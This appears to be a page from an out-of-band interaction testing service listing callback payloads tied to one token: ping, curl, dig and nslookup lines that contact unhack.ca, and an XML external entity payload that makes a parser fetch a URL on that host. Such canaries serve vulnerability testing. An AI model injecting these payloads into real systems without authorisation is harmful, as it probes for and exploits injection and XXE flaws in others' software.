$ ping -c1 -p 00e7f4009f84cfbbc3ecd108082b9f00 unhack.ca
 

$ curl http://unhack.ca/p/e7f4009f84cfbbc3ecd108082b9f
 

$ dig e7f4009f84cfbbc3ecd108082b9f @unhack.ca
 

$ dig e7f4009f84cfbbc3ecd108082b9f.ns.unhack.ca
 

C:\> nslookup e7f4009f84cfbbc3ecd108082b9f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e7f4009f84cfbbc3ecd108082b9f">]>
    <foo>&xxe;</foo>